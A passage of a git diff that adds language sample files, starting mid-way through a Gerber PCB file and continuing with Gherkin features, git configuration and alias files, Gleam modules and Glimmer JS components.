+X19126200Y-7874000D02*
+X19227800Y-7975600D01*
+X19227800Y-7874000D02*
+X19126200Y-7975600D01*
+X19177000Y-7874000D02*
+X19177000Y-7975600D01*
+X19126200Y-7924800D02*
+X19227800Y-7924800D01*
+X19126200Y-8128000D02*
+X19227800Y-8229600D01*
+X19227800Y-8128000D02*
+X19126200Y-8229600D01*
+X19177000Y-8128000D02*
+X19177000Y-8229600D01*
+X19126200Y-8178800D02*
+X19227800Y-8178800D01*
+X19126200Y-8382000D02*
+X19227800Y-8483600D01*
+X19227800Y-8382000D02*
+X19126200Y-8483600D01*
+X19177000Y-8382000D02*
+X19177000Y-8483600D01*
+X19126200Y-8432800D02*
+X19227800Y-8432800D01*
+X19126200Y-8636000D02*
+X19227800Y-8737600D01*
+X19227800Y-8636000D02*
+X19126200Y-8737600D01*
+X19177000Y-8636000D02*
+X19177000Y-8737600D01*
+X19126200Y-8686800D02*
+X19227800Y-8686800D01*
+X19126200Y-8890000D02*
+X19227800Y-8991600D01*
+X19227800Y-8890000D02*
+X19126200Y-8991600D01*
+X19177000Y-8890000D02*
+X19177000Y-8991600D01*
+X19126200Y-8940800D02*
+X19227800Y-8940800D01*
+X19126200Y-9144000D02*
+X19227800Y-9245600D01*
+X19227800Y-9144000D02*
+X19126200Y-9245600D01*
+X19177000Y-9144000D02*
+X19177000Y-9245600D01*
+X19126200Y-9194800D02*
+X19227800Y-9194800D01*
+X19126200Y-9398000D02*
+X19227800Y-9499600D01*
+X19227800Y-9398000D02*
+X19126200Y-9499600D01*
+X19177000Y-9398000D02*
+X19177000Y-9499600D01*
+X19126200Y-9448800D02*
+X19227800Y-9448800D01*
+X19126200Y-9652000D02*
+X19227800Y-9753600D01*
+X19227800Y-9652000D02*
+X19126200Y-9753600D01*
+X19177000Y-9652000D02*
+X19177000Y-9753600D01*
+X19126200Y-9702800D02*
+X19227800Y-9702800D01*
+X19126200Y-9906000D02*
+X19227800Y-10007600D01*
+X19227800Y-9906000D02*
+X19126200Y-10007600D01*
+X19177000Y-9906000D02*
+X19177000Y-10007600D01*
+X19126200Y-9956800D02*
+X19227800Y-9956800D01*
+X19126200Y-10160000D02*
+X19227800Y-10261600D01*
+X19227800Y-10160000D02*
+X19126200Y-10261600D01*
+X19177000Y-10160000D02*
+X19177000Y-10261600D01*
+X19126200Y-10210800D02*
+X19227800Y-10210800D01*
+X19126200Y-10414000D02*
+X19227800Y-10515600D01*
+X19227800Y-10414000D02*
+X19126200Y-10515600D01*
+X19177000Y-10414000D02*
+X19177000Y-10515600D01*
+X19126200Y-10464800D02*
+X19227800Y-10464800D01*
+X19126200Y-10668000D02*
+X19227800Y-10769600D01*
+X19227800Y-10668000D02*
+X19126200Y-10769600D01*
+X19177000Y-10668000D02*
+X19177000Y-10769600D01*
+X19126200Y-10718800D02*
+X19227800Y-10718800D01*
+X19126200Y-10922000D02*
+X19227800Y-11023600D01*
+X19227800Y-10922000D02*
+X19126200Y-11023600D01*
+X19177000Y-10922000D02*
+X19177000Y-11023600D01*
+X19126200Y-10972800D02*
+X19227800Y-10972800D01*
+D13*
+X11563928Y-12273214D02*
+X11563928Y-11973214D01*
+X11635357Y-11973214D01*
+X11678214Y-11987500D01*
+X11706786Y-12016071D01*
+X11721071Y-12044643D01*
+X11735357Y-12101786D01*
+X11735357Y-12144643D01*
+X11721071Y-12201786D01*
+X11706786Y-12230357D01*
+X11678214Y-12258929D01*
+X11635357Y-12273214D01*
+X11563928Y-12273214D01*
+X11863928Y-12273214D02*
+X11863928Y-12073214D01*
+X11863928Y-12130357D02*
+X11878214Y-12101786D01*
+X11892500Y-12087500D01*
+X11921071Y-12073214D01*
+X11949643Y-12073214D01*
+X12049643Y-12273214D02*
+X12049643Y-12073214D01*
+X12049643Y-11973214D02*
+X12035357Y-11987500D01*
+X12049643Y-12001786D01*
+X12063928Y-11987500D01*
+X12049643Y-11973214D01*
+X18121071Y-12688929D01*
+X18106786Y-12646071D01*
+X18092500Y-12617500D01*
+X18063929Y-12574643D01*
+X18049643Y-12560357D01*
+X11292500Y-13163500D02*
+G75*
+G03X11292500Y-13163500I-35560J0D01*
+G01*
+X11621071Y-12999214D02*
+X11649643Y-12999214D01*
+X11678214Y-13013500D01*
+X11692500Y-13027786D01*
+X11706786Y-13056357D01*
+X11721071Y-13113500D01*
+X11721071Y-13184929D01*
+X11706786Y-13242071D01*
+X11692500Y-13270643D01*
+X12706786Y-13509500D01*
+X12735357Y-13495214D01*
+X12778214Y-13495214D01*
+X12806786Y-13509500D01*
+X12821071Y-13538071D01*
+X12821071Y-13695214D01*
+X12963928Y-13695214D02*
+X12963928Y-13495214D01*
+X12963928Y-13523786D02*
+X12978214Y-13509500D01*
+X13006786Y-13495214D01*
+X13049643Y-13495214D01*
+X13078214Y-13509500D01*
+X13092500Y-13538071D01*
+X13092500Y-13695214D01*
+X13092500Y-13538071D02*
+X13106786Y-13509500D01*
+X13135357Y-13495214D01*
+X13178214Y-13495214D01*
+X13206786Y-13509500D01*
+X13221071Y-13538071D01*
+X13221071Y-13695214D01*
+X13806786Y-13380929D02*
+X13549643Y-13766643D01*
+X14192500Y-13395214D02*
+X14221071Y-13395214D01*
+X14249643Y-13409500D01*
+X14263928Y-13423786D01*
+X14278214Y-13452357D01*
+X14292500Y-13509500D01*
+X14292500Y-13580929D01*
+X14278214Y-13638071D01*
+X14263928Y-13666643D01*
+X14249643Y-13680929D01*
+X14221071Y-13695214D01*
+X14192500Y-13695214D01*
+X14163928Y-13680929D01*
+X14149643Y-13666643D01*
+X14135357Y-13638071D01*
+X14121071Y-13580929D01*
+X14121071Y-13509500D01*
+X14135357Y-13452357D01*
+X14149643Y-13423786D01*
+X14163928Y-13409500D01*
+X14192500Y-13395214D01*
+X14421071Y-13666643D02*
+X14435357Y-13680929D01*
+X14421071Y-13695214D01*
+X14406786Y-13680929D01*
+X14421071Y-13666643D01*
+X14421071Y-13695214D01*
+X14621071Y-13395214D02*
+X14649643Y-13395214D01*
+X14678214Y-13409500D01*
+X14692500Y-13423786D01*
+X14706785Y-13452357D01*
+X14721071Y-13509500D01*
+X14721071Y-13580929D01*
+X14706785Y-13638071D01*
+X14692500Y-13666643D01*
+X14678214Y-13680929D01*
+X14649643Y-13695214D01*
+X14621071Y-13695214D01*
+X14592500Y-13680929D01*
+X14578214Y-13666643D01*
+X14563928Y-13638071D01*
+X14549643Y-13580929D01*
+X14549643Y-13509500D01*
+X14563928Y-13452357D01*
+X14578214Y-13423786D01*
+X14592500Y-13409500D01*
+X14621071Y-13395214D01*
+X14821071Y-13395214D02*
+X15006785Y-13395214D01*
+X14906785Y-13509500D01*
+X14949643Y-13509500D01*
+X14978214Y-13523786D01*
+X14992500Y-13538071D01*
+X15006785Y-13566643D01*
+X11292500Y-14797538D01*
+X11292500Y-14697462D02*
+X11192424Y-14797538D01*
+X11292500Y-14747500D02*
+G75*
+G03X11292500Y-14747500I-50038J0D01*
+G01*
+X11721071Y-14883214D02*
+X11549643Y-14883214D01*
+X11635357Y-14883214D02*
+X11635357Y-14583214D01*
+X11606786Y-14626071D01*
+X11578214Y-14654643D01*
+X18135357Y-15136357D01*
+X18121071Y-15064929D01*
+X18106786Y-15022071D01*
+X18092500Y-14993500D01*
+X18063929Y-14950643D01*
+X18049643Y-14936357D01*
+M02*
diff --git a/samples/Gherkin/resources.story b/samples/Gherkin/resources.story
new file mode 100644
index 0000000000..ce210d4acc
--- /dev/null
+++ b/samples/Gherkin/resources.story
@@ -0,0 +1,25 @@
+Feature: Some awesome title
+  In order to realize a named business value
+  As a explicit system actor
+  I want to gain some beneficial outcome which furthers the goal
+
+Prologue:
+Given this step is played once in the begin of the story
+
+#-- awesome comment!!!!
+
+Scenario: parametrized scenario
+Given a system state named <systemState>
+When I do <action>
+Then system is in state <newSystemStateName>
+
+Examples:
+  |systemState  |Nameaction  |newSystemStateName |
+  |currentState |nothing     |currentState |
+  |currentState |pushButton  |newState |
+
+Scenario: title
+Given an scenario with a table
+  |this|will|be|headers|
+  |this|is  |a |row    |
+
diff --git a/samples/Gherkin/tables.feature b/samples/Gherkin/tables.feature
new file mode 100644
index 0000000000..09de29ee65
--- /dev/null
+++ b/samples/Gherkin/tables.feature
@@ -0,0 +1,14 @@
+Feature: Todo List
+
+Scenario: Adding an item to my todo list
+    Given my todo list currently looks as follows:
+    | TaskName            | Priority |
+    | Fix bugs in my code | medium   |
+    | Document my hours   | medium   |
+    When I add the following task:
+    | TaskName                              | Priority |
+    | Watch cat videos on YouTube all day   | high     |
+    Then I should see the following todo list:
+    | TaskName                              | Priority |  
+    | Watch cat videos on YouTube all day   | high     |
+    | Sign up for unemployment              | high     |
diff --git a/samples/Git Attributes/filenames/.gitattributes b/samples/Git Attributes/filenames/.gitattributes
new file mode 100644
index 0000000000..5ad9be06d5
--- /dev/null
+++ b/samples/Git Attributes/filenames/.gitattributes	
@@ -0,0 +1,11 @@
+# Stuff I didn't write
+.emacs.d/lisp/*   linguist-vendored
+
+# Documentation
+share/man/*       linguist-documentation
+
+# Unrecognised filetypes
+*.colorscheme     linguist-language=INI
+Shell.profile     linguist-language=INI
+sessionui.rc      linguist-language=XML
+konsoleui.rc      linguist-language=XML
diff --git a/samples/Git Config/aliases.gitconfig b/samples/Git Config/aliases.gitconfig
new file mode 100644
index 0000000000..15bc5241da
--- /dev/null
+++ b/samples/Git Config/aliases.gitconfig	
@@ -0,0 +1,151 @@
+[alias]
+  br        = branch
+  ci        = commit
+  co        = checkout
+  d         = diff -w HEAD
+  dc        = diff -w --cached
+  ds        = diff -w --staged
+  g         = grep --break --heading --line-number
+  h         = log --pretty=oneline --decorate --abbrev-commit --date=short
+  hist      = log --pretty=format:\"%h %ad | %s%d [%an]\" --graph --date=short
+  lgp       = log -p
+  lgs       = log --stat
+  lol       = log --graph --decorate --pretty=oneline --abbrev-commit
+  lola      = log --graph --decorate --pretty=oneline --abbrev-commit --all
+  lolar     = log --decorate --pretty=oneline --abbrev-commit --all --reverse
+  ls        = ls-files
+  p         = push
+  pr        = pull --rebase
+  st        = status
+  sta       = status
+  sts       = status -s
+  wc        = whatchanged -p --abbrev-commit --pretty=medium
+
+  ga        = add
+  gb        = branch
+  gba       = branch -a
+  gc        = commit -v
+  gca       = commit -v -a
+  gcf       = commit --fixup
+  gcl       = config --list
+  gclean    = reset --hard && git clean -dfx
+  gcm       = checkout master
+  gcmsg     = commit -m
+  gco       = checkout
+  gcount    = shortlog -sn
+  gcp       = cherry-pick
+  gf        = fetch
+  gfr       = fetch && git rebase remotes/origin/master
+  gg        = gui citool
+  gga       = gui citool --amend
+  ggpnp     = pull origin $(current_branch) && git push origin $(current_branch)
+  ggpull    = pull origin $(current_branch)
+  ggpur     = pull --rebase origin $(current_branch)
+  ggpush    = push origin $(current_branch)
+  gignore   = update-index --assume-unchanged
+  gignored  = ls-files -v | grep "^[[:lower:]]"
+  gl        = pull
+  glg       = log --stat --max-count=10
+  glgg      = log --graph --max-count=10
+  glgga     = log --graph --decorate --all
+  glo       = log --oneline --decorate --color
+  glog      = log --oneline --decorate --color --graph
+  glp       = _git_log_prettily
+  gm        = merge
+  gmt       = mergetool --no-prompt
+  gpoat     = push origin --all && git push origin --tags
+  gr        = remote
+  grba      = rebase --abort
+  grbc      = rebase --continue
+  grbi      = rebase -i
+  grh       = reset HEAD
+  grhh      = reset HEAD --hard
+  gri       = rebase --interactive
+  grmv      = remote rename
+  grrm      = remote remove
+  grset     = remote set-url
+  grt       = 'cd $(git rev-parse --show-toplevel || echo ".")'
+  grup      = remote update
+  grv       = remote -v
+  gss       = status -s
+  gst       = status
+  gsta      = stash
+  gstd      = stash drop
+  gstp      = stash pop
+  gsts      = stash show --text
+  gunignore = update-index --no-assume-unchanged
+
+  # 'gc!'    = commit -v --amend
+  # 'gca!'   = commit -v -a --amend
+  # gk        = k --all --branches
+  # gunwip   = log -n 1 | grep -q -c "\-\-wip\-\-" && git reset HEAD~1
+  # gwip     = add -A; git ls-files --deleted -z | xargs -r0 git rm; git commit -m "--wip--"
+
+  gsd       = svn dcommit
+  gsr       = svn rebase
+  git-svn-dcommit-push = svn dcommit && git push github master:svntrunk
+
+  # Blog Post: Human Git Aliases; http://gggritso.com/human-git-aliases
+  # https://github.com/gggritso/dotfiles/blob/master/gitconfig.symlink
+  # BEGIN HUMAN
+  #----
+  amend       = commit --amend
+  back        = checkout "-"
+  branches    = branch -a
+  branchout   = checkout -b
+  branch-name = rev-parse --abbrev-ref HEAD
+  contributors= shortlog -s -n
+  down        = pull --rebase
+  discard     = checkout --
+  dump        = cat-file -p
+  filetrail   = git log --follow -p -w
+  graph       = log --graph -10 --branches --remotes --tags\
+                    --format=format:'%Cgreen%h %Creset %<(75,trunc)%s (%cN, %ar) %Cred%d' --date-order
+
+  hist        = log -10 --format=format:'%Cgreen%h %Creset %s (%cN, %ar)'
+  history     = log --pretty=format:"%C(yellow)%h\\ %ad%Cred%d\\ %Creset%s%Cblue\\ [%cn]" --graph --date=short
+  ignore      = update-index --assume-unchanged
+  ignored     = ls-files -o -i --exclude-standard   # Show files ignored by git:
+  invert      = revert
+  incoming    = log orgin/master ^master            # show only what is in orgin/master that isn't in master
+  last        = log -1 HEAD --format=format:"%Cred%H"
+  logs        = log --stat
+  mergetrail  = log --ancestry-path --merges
+  move        = mv
+  nevermind   = !git reset --hard HEAD && git clean -d -f
+  outgoing    = log master ^orgin/master            # show only what is in master that isn't in orgin/master
+  praise      = blame
+  precommit   = diff --cached -w --word-diff=color --word-diff-regex='[^[:space:]<>]+'
+  prestage    = diff -w --word-diff=color
+  remotes     = remote -v
+  remove      = rm
+  resave      = commit --amend
+  rewrite     = rebase -i
+  ru          = log --since=\"one week ago\" --all --no-merges --oneline #--author=\"Mark Fernandes\"
+  #rushes      = log --since=\"1970-01-01 00:00:00\" --all --no-merges --oneline #--author=\"Mark Fernandes\"
+  rushes      = log --since=\"one week ago\" --all --no-merges --oneline #--author=\"Mark Fernandes\"
+  save        = commit -am
+  show-all    = log --follow
+  shop-all    = log --follow -p
+  stashes     = stash list
+  summary     = status -u -s
+  tags        = tag
+  type        = cat-file -t
+  uncommit    = reset --mixed HEAD~
+  undo        = reset --soft HEAD~1
+  unignore    = update-index --no-assume-changed
+  unmerged    = branch --no-merged
+  unmerged    = diff -w --name-only --diff-filter=U
+  unstage     = reset -q HEAD --
+  unstash     = stash pop
+  untrack     = rm -r --cached
+  up          = push up master
+  what        = show -w
+  #----
+  # END HUMAN
+
+  pup       = "!git remote update -p && git merge --ff-only @{u}"
+  pupup     = "!git remote update up -p && git merge --ff-only @{u}"
+
+# vim: et:nonu:nospell:ft=gitconfig
+
diff --git a/samples/Git Config/filenames/.gitconfig b/samples/Git Config/filenames/.gitconfig
new file mode 100644
index 0000000000..b44243359b
--- /dev/null
+++ b/samples/Git Config/filenames/.gitconfig	
@@ -0,0 +1,187 @@
+[alias]
+
+	# View abbreviated SHA, description, and history graph of the latest 20 commits
+	l = log --pretty=oneline -n 20 --graph --abbrev-commit
+
+	# View the current working tree status using the short format
+	s = status -s
+
+	# Show the diff between the latest commit and the current state
+	d = !"git diff-index --quiet HEAD -- || clear; git --no-pager diff --patch-with-stat"
+
+	# `git di $number` shows the diff between the state `$number` revisions ago and the current state
+	di = !"d() { git diff --patch-with-stat HEAD~$1; }; git diff-index --quiet HEAD -- || clear; d"
+
+	# Pull in remote changes for the current repository and all its submodules
+	p = !"git pull; git submodule foreach git pull origin master"
+
+	# Clone a repository including all submodules
+	c = clone --recursive
+
+	# Commit all changes
+	ca = !git add -A && git commit -av
+
+	# Switch to a branch, creating it if necessary
+	go = "!f() { git checkout -b \"$1\" 2> /dev/null || git checkout \"$1\"; }; f"
+
+	# Show verbose output about tags, branches or remotes
+	tags = tag -l
+	branches = branch -a
+	remotes = remote -v
+
+	# List aliases
+	aliases = config --get-regexp alias
+
+	# Amend the currently staged files to the latest commit
+	amend = commit --amend --reuse-message=HEAD
+
+	# Credit an author on the latest commit
+	credit = "!f() { git commit --amend --author \"$1 <$2>\" -C HEAD; }; f"
+
+	# Interactive rebase with the given number of latest commits
+	reb = "!r() { git rebase -i HEAD~$1; }; r"
+
+	# Remove the old tag with this name and tag the latest commit with it.
+	retag = "!r() { git tag -d $1 && git push origin :refs/tags/$1 && git tag $1; }; r"
+
+	# Find branches containing commit
+	fb = "!f() { git branch -a --contains $1; }; f"
+
+	# Find tags containing commit
+	ft = "!f() { git describe --always --contains $1; }; f"
+
+	# Find commits by source code
+	fc = "!f() { git log --pretty=format:'%C(yellow)%h  %Cblue%ad  %Creset%s%Cgreen  [%cn] %Cred%d' --decorate --date=short -S$1; }; f"
+
+	# Find commits by commit message
+	fm = "!f() { git log --pretty=format:'%C(yellow)%h  %Cblue%ad  %Creset%s%Cgreen  [%cn] %Cred%d' --decorate --date=short --grep=$1; }; f"
+
+	# Remove branches that have already been merged with master
+	# a.k.a. ‘delete merged’
+	dm = "!git branch --merged | grep -v '\\*' | xargs -n 1 git branch -d"
+
+	# List contributors with number of commits
+	contributors = shortlog --summary --numbered
+
+	# Merge GitHub pull request on top of the current branch or,
+	# if a branch name is specified, on top of the specified branch
+	mpr = "!f() { \
+		declare currentBranch=\"$(git symbolic-ref --short HEAD)\"; \
+		declare branch=\"${2:-$currentBranch}\"; \
+		if [ $(printf \"%s\" \"$1\" | grep '^[0-9]\\+$' > /dev/null; printf $?) -eq 0 ]; then \
+			git fetch origin refs/pull/$1/head:pr/$1 && \
+			git checkout -B $branch && \
+			git rebase $branch pr/$1 && \
+			git checkout -B $branch && \
+			git merge pr/$1 && \
+			git branch -D pr/$1 && \
+			git commit --amend -m \"$(git log -1 --pretty=%B)\n\nCloses #$1.\"; \
+		fi \
+	}; f"
+
+[apply]
+
+	# Detect whitespace errors when applying a patch
+	whitespace = fix
+
+[core]
+
+	# Use custom `.gitignore` and `.gitattributes`
+	excludesfile = ~/.gitignore
+	attributesfile = ~/.gitattributes
+
+	# Treat spaces before tabs and all kinds of trailing whitespace as an error
+	# [default] trailing-space: looks for spaces at the end of a line
+	# [default] space-before-tab: looks for spaces before tabs at the beginning of a line
+	whitespace = space-before-tab,-indent-with-non-tab,trailing-space
+
+	# Make `git rebase` safer on macOS
+	# More info: <http://www.git-tower.com/blog/make-git-rebase-safe-on-osx/>
+	trustctime = false
+
+	# Prevent showing files whose names contain non-ASCII symbols as unversioned.
+	# http://michael-kuehnel.de/git/2014/11/21/git-mac-osx-and-german-umlaute.html
+	precomposeunicode = false
+
+	# Speed up commands involving untracked files such as `git status`.
+	# https://git-scm.com/docs/git-update-index#_untracked_cache
+	untrackedCache = true
+
+[color]
+
+	# Use colors in Git commands that are capable of colored output when
+	# outputting to the terminal. (This is the default setting in Git ≥ 1.8.4.)
+	ui = auto
+
+[color "branch"]
+
+	current = yellow reverse
+	local = yellow
+	remote = green
+
+[color "diff"]
+
+	meta = yellow bold
+	frag = magenta bold # line info
+	old = red # deletions
+	new = green # additions
+
+[color "status"]
+
+	added = yellow
+	changed = green
+	untracked = cyan
+
+[commit]
+
+	# https://help.github.com/articles/signing-commits-using-gpg/
+	gpgsign = true
+
+[diff]
+
+	# Detect copies as well as renames
+	renames = copies
+
+[diff "bin"]
+
+	# Use `hexdump` to diff binary files
+	textconv = hexdump -v -C
+
+[help]
+
+	# Automatically correct and execute mistyped commands
+	autocorrect = 1
+
+[merge]
+
+	# Include summaries of merged commits in newly created merge commit messages
+	log = true
+
+[push]
+
+	# https://git-scm.com/docs/git-config#git-config-pushdefault
+	default = simple
+	# Make `git push` push relevant annotated tags when pushing branches out.
+	followTags = true
+
+# URL shorthands
+
+[url "git@github.com:"]
+
+	insteadOf = "gh:"
+	pushInsteadOf = "github:"
+	pushInsteadOf = "git://github.com/"
+
+[url "git://github.com/"]
+
+	insteadOf = "github:"
+
+[url "git@gist.github.com:"]
+
+	insteadOf = "gst:"
+	pushInsteadOf = "gist:"
+	pushInsteadOf = "git://gist.github.com/"
+
+[url "git://gist.github.com/"]
+
+	insteadOf = "gist:"
diff --git a/samples/Git Config/filenames/.gitmodules b/samples/Git Config/filenames/.gitmodules
new file mode 100644
index 0000000000..8459ae9ce9
--- /dev/null
+++ b/samples/Git Config/filenames/.gitmodules	
@@ -0,0 +1,18 @@
+[submodule "vendor/CodeMirror"]
+	path = vendor/CodeMirror
+	url = https://github.com/codemirror/CodeMirror
+[submodule "vendor/grammars/ABNF.tmbundle"]
+	path = vendor/grammars/ABNF.tmbundle
+	url = https://github.com/sanssecours/ABNF.tmbundle
+[submodule "vendor/grammars/Agda.tmbundle"]
+	path = vendor/grammars/Agda.tmbundle
+	url = https://github.com/mokus0/Agda.tmbundle
+[submodule "vendor/grammars/Alloy.tmbundle"]
+	path = vendor/grammars/Alloy.tmbundle
+	url = https://github.com/macekond/Alloy.tmbundle
+[submodule "vendor/grammars/Assembly-Syntax-Definition"]
+	path = vendor/grammars/Assembly-Syntax-Definition
+	url = https://github.com/calculuswhiz/Assembly-Syntax-Definition
+[submodule "vendor/grammars/AutoHotkey"]
+	path = vendor/grammars/AutoHotkey
+	url = https://github.com/ahkscript/SublimeAutoHotkey
diff --git a/samples/Git Revision List/filenames/.git-blame-ignore-revs b/samples/Git Revision List/filenames/.git-blame-ignore-revs
new file mode 100644
index 0000000000..6093602597
--- /dev/null
+++ b/samples/Git Revision List/filenames/.git-blame-ignore-revs	
@@ -0,0 +1,11 @@
+# git-blame ignored revisions
+# To configure, run
+#   git config blame.ignoreRevsFile .git-blame-ignore-revs
+# Requires Git > 2.23
+# See https://git-scm.com/docs/git-blame#Documentation/git-blame.txt---ignore-revs-fileltfilegt
+
+# Use prettier (#600)
+5180ecdca48e486b4b0f347fcbd752f865df5e55
+
+# Update prettier to v2 (#11579)
+41085248560b1403b8d0f99f108491e679531c6c
diff --git a/samples/Gleam/contributor.gleam b/samples/Gleam/contributor.gleam
new file mode 100644
index 0000000000..d6f46dacf5
--- /dev/null
+++ b/samples/Gleam/contributor.gleam
@@ -0,0 +1,57 @@
+import gleam/result
+import gleam/option.{Option}
+import gleam/dynamic.{DecodeError, Dynamic}
+import gleam_contributors/json
+
+pub type Contributor {
+  Contributor(name: String, github: Option(String))
+}
+
+// Could include avatarURl and websiteUrl if required
+pub type Contributorspage {
+  Contributorspage(
+    nextpage_cursor: Result(String, Nil),
+    contributor_list: List(Contributor),
+  )
+}
+
+// This is still parsing the response json into Gleam types, see
+// parse_contributors, but it is the contributor section only. To make the parse
+// function more readable
+pub fn decode(json_obj: Dynamic) -> Result(Contributor, DecodeError) {
+  try author = dynamic.field(json_obj, "author")
+
+  try dynamic_name = dynamic.field(author, "name")
+  try name = dynamic.string(dynamic_name)
+  let github = {
+    try user = dynamic.field(author, "user")
+    try dynamic_github = dynamic.field(user, "url")
+    dynamic.string(dynamic_github)
+  }
+  Ok(Contributor(name: name, github: option.from_result(github)))
+}
+
+/// Converts response json into Gleam type. Represents one page of contributors
+pub fn decode_page(
+  response_json: String,
+) -> Result(Contributorspage, DecodeError) {
+  let res = json.decode(response_json)
+
+  try data = dynamic.field(res, "data")
+  try repo = dynamic.field(data, "repository")
+  try object = dynamic.field(repo, "object")
+  try history = dynamic.field(object, "history")
+  try pageinfo = dynamic.field(history, "pageInfo")
+  try dynamic_nextpage = dynamic.field(pageinfo, "hasNextPage")
+  try nextpage = dynamic.bool(dynamic_nextpage)
+  let cursor = case nextpage {
+    False -> Error(Nil)
+    True ->
+      dynamic.field(pageinfo, "endCursor")
+      |> result.then(dynamic.string)
+      |> result.map_error(fn(_) { Nil })
+  }
+  try nodes = dynamic.field(history, "nodes")
+  try contributors = dynamic.typed_list(nodes, of: decode)
+  Ok(Contributorspage(nextpage_cursor: cursor, contributor_list: contributors))
+}
diff --git a/samples/Gleam/websocket.gleam b/samples/Gleam/websocket.gleam
new file mode 100644
index 0000000000..a16353b018
--- /dev/null
+++ b/samples/Gleam/websocket.gleam
@@ -0,0 +1,58 @@
+import gleam/uri.{Uri}
+import gleam/http.{Header}
+import gleam/dynamic.{Dynamic}
+import gleam/result
+import nerf/gun.{ConnectionPid, StreamReference}
+
+pub opaque type Connection {
+  Connection(ref: StreamReference, pid: ConnectionPid)
+}
+
+pub type Frame {
+  Close
+  Text(String)
+  Binary(BitString)
+}
+
+pub fn connect(
+  hostname: String,
+  path: String,
+  on port: Int,
+  with headers: List(Header),
+) -> Result(Connection, ConnectError) {
+  try pid =
+    gun.open(hostname, port)
+    |> result.map_error(ConnectionFailed)
+  try _ =
+    gun.await_up(pid)
+    |> result.map_error(ConnectionFailed)
+
+  // Upgrade to websockets
+  let ref = gun.ws_upgrade(pid, path, headers)
+  let conn = Connection(pid: pid, ref: ref)
+  try _ =
+    await_upgrade(conn, 1000)
+    |> result.map_error(ConnectionFailed)
+
+  Ok(conn)
+}
+
+pub fn send(to conn: Connection, this message: String) -> Nil {
+  gun.ws_send(conn.pid, gun.Text(message))
+}
+
+pub external fn receive(from: Connection, within: Int) -> Result(Frame, Nil) =
+  "nerf_ffi" "ws_receive"
+
+external fn await_upgrade(from: Connection, within: Int) -> Result(Nil, Dynamic) =
+  "nerf_ffi" "ws_await_upgrade"
+
+pub fn close(conn: Connection) -> Nil {
+  gun.ws_send(conn.pid, gun.Close)
+}
+
+/// The URI of the websocket server to connect to
+pub type ConnectError {
+  ConnectionRefused(status: Int, headers: List(Header))
+  ConnectionFailed(reason: Dynamic)
+}
diff --git a/samples/Glimmer JS/class.gjs b/samples/Glimmer JS/class.gjs
new file mode 100644
index 0000000000..a3fd9f3b8f
--- /dev/null
+++ b/samples/Glimmer JS/class.gjs	
@@ -0,0 +1,48 @@
+import Component from "@glimmer/component";
+import { action } from "@ember/object";
+import DButton from "discourse/components/d-button";
+import DModal from "discourse/components/d-modal";
+import DModalCancel from "discourse/components/d-modal-cancel";
+import I18n from "I18n";
+import { htmlSafe } from "@ember/template";
+
+const t = I18n.t.bind(I18n);
+
+export default class ModalDiffModal extends Component {
+  <template>
+    <DModal
+      class="composer-ai-helper-modal"
+      @title={{t "discourse_ai.ai_helper.context_menu.changes"}}
+      @closeModal={{@closeModal}}
+    >
+      <:body>
+        {{#if @diff}}
+          {{htmlSafe @diff}}
+        {{else}}
+          <div class="composer-ai-helper-modal__old-value">
+            {{@oldValue}}
+          </div>
+
+          <div class="composer-ai-helper-modal__new-value">
+            {{@newValue}}
+          </div>
+        {{/if}}
+      </:body>
+
+      <:footer>
+        <DButton
+          class="btn-primary confirm"
+          @action={{this.triggerConfirmChanges}}
+          @label="discourse_ai.ai_helper.context_menu.confirm"
+        />
+        <DModalCancel @close={{@closeModal}} />
+      </:footer>
+    </DModal>
+  </template>
+
+  @action
+  triggerConfirmChanges() {
+    this.args.closeModal();
+    this.args.confirm();
+  }
+}
diff --git a/samples/Glimmer JS/template-only.gjs b/samples/Glimmer JS/template-only.gjs
new file mode 100644
index 0000000000..fa2bd7a2ba
--- /dev/null
+++ b/samples/Glimmer JS/template-only.gjs	
@@ -0,0 +1,55 @@
+import { ExternalLink, Link } from '@crowdstrike/ember-oss-docs';
+
+export const Footer = <template>
+  <footer class="bg-mezzanine theme-mezzanine pb-10 sm:pb-20 md:pb-28 pt-6 sm:pt-10 md:pt-20">
+    <div class="max-w-screen-lg mx-auto grid gap-4 md:gap-14">
+      <nav class="p-8 md:p-0 grid sm:flex flex-wrap justify-between">
+        <div class="flex flex-col items-start">
+          <Link @variant="quiet" @href="https://www.crowdstrike.com/why-crowdstrike/">Why CrowdStrike</Link>
+          <Link @variant="quiet" @href="https://www.crowdstrike.com/why-crowdstrike/crowdstrike-customers/">Our Customers</Link>
+        </div>
+        <div class="flex flex-col items-start">
+          <Link @variant="quiet" @href="https://www.crowdstrike.com/about-crowdstrike/">CrowdStrike's Story</Link>
+          <Link @variant="quiet" @href="http://www.crowdstrike.com/news/">CrowdStrike News and Releases</Link>
+        </div>
+        <div class="flex flex-col items-start">
+          <Link @variant="quiet" @href="https://www.crowdstrike.com/blog/category/engineering-and-technology/">CrowdStrike Engineering and Tech Blog CrowdStrike</Link>
+          <Link @variant="quiet" @href="#">CrowdStrike People and Culture</Link>
+          <Link @variant="quiet" @href="https://crowdstrike.wd5.myworkdayjobs.com/crowdstrikecareers">CrowdStrike Open Positions</Link>
+        </div>
+      </nav>
+
+      <div class="p-8 md:p-0 grid gap-4 md:grid-flow-col w-full items-center">
+        <ExternalLink @href="https://crowdstrike.com" class="mt-3 justify-self-start">
+          <img src="/logo_footer.png" alt="Visit crowdstrike.com" />
+        </ExternalLink>
+
+        <div class="md:justify-self-center text-body-and-labels type-xs">
+          <span class="px-2">Copyright &copy; 2023</span>
+          <span>|</span>
+          <ExternalLink @href="https://www.crowdstrike.com/contact-us/">Contact Us</ExternalLink>
+          <span>|</span>
+          <ExternalLink @href="https://www.crowdstrike.com/privacy-notice/">Private</ExternalLink>
+          <span>|</span>
+          <ExternalLink @href="https://www.crowdstrike.com/website-terms-of-use/">Terms of Use</ExternalLink>
+          <span>|</span>
+          <ExternalLink @href="https://www.crowdstrike.com/careers/candidate-privacy-notices/">Candidate Privacy Notices</ExternalLink>
+        </div>
+
+        <div class="md:justify-self-end flex gap-2 items-center">
+          <ExternalLink @href="https://www.youtube.com/user/CrowdStrike">
+            <img src="/youtube.png" alt="Visit the CrowdStrike YouTube channel" />
+          </ExternalLink>
+          <ExternalLink @href="https://www.instagram.com/crowdstrike/?hl=en">
+            <img src="/instagram.png" alt="Visit the CrowdStrike Instagram" />
+          </ExternalLink>
+          <ExternalLink @href="https://www.linkedin.com/company/crowdstrike">
+            <img src="/linkedin.png" alt="Visit the CrowdStrike LinkedIN" />
+          </ExternalLink>
+        </div>
+      </div>
+    </div>
+  </footer>
+</template>
+
